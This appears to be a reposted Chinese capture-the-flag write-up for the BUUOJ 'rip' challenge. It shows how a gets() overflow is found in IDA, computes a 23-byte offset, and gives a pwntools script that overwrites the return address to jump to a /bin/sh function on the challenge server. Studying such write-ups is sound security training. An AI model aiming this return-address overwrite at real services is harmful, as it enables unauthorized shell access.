第二题——rip
Posted 想学习安全的小白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第二题——rip相关的知识,希望对你有一定的参考价值。
题目地址:https://buuoj.cn/challenges
解题思路
第一步:下载题目给出的pwn1文件
第二步:使用IDA打开pwn1文件
- 查看main函数发现gets函数对于输入没有限制
- 汇编不好看可以按下f5查看伪代码
- 在fun函数看到了/bin/sh命令
第三步:获取flag
- 思路:由于gets函数没有限制输入,可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,以达到获取flag的目的
- 由于gets函数将获取到的值赋值给s,双击查看s定义了多少空间
1-f占了15位,db 8 dup (?)占了8位,所以s一共15+8=23位 - 查看fun函数的开始地址为:0x401186
- 编写exp
exp编写步骤:
from pwn import * #引入pwn库
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.interactive() # 反弹shell
结果:保存为1.py
from pwn import *
p = remote('node3.buuoj.cn', 29021)
payload = b'a' * 23 + p64(0x401186 + 1)//+1为了保证堆栈平衡
p.sendline(payload)
p.interactive()
- 使用python3 1.py执行1.py,输入cat flag获取到flag
以上是关于第二题——rip的主要内容,如果未能解决你的问题,请参考以下文章
下面的第二题怎么做啊,求解题思路,特别是白色紫色红色粉色的基因型怎么找啊?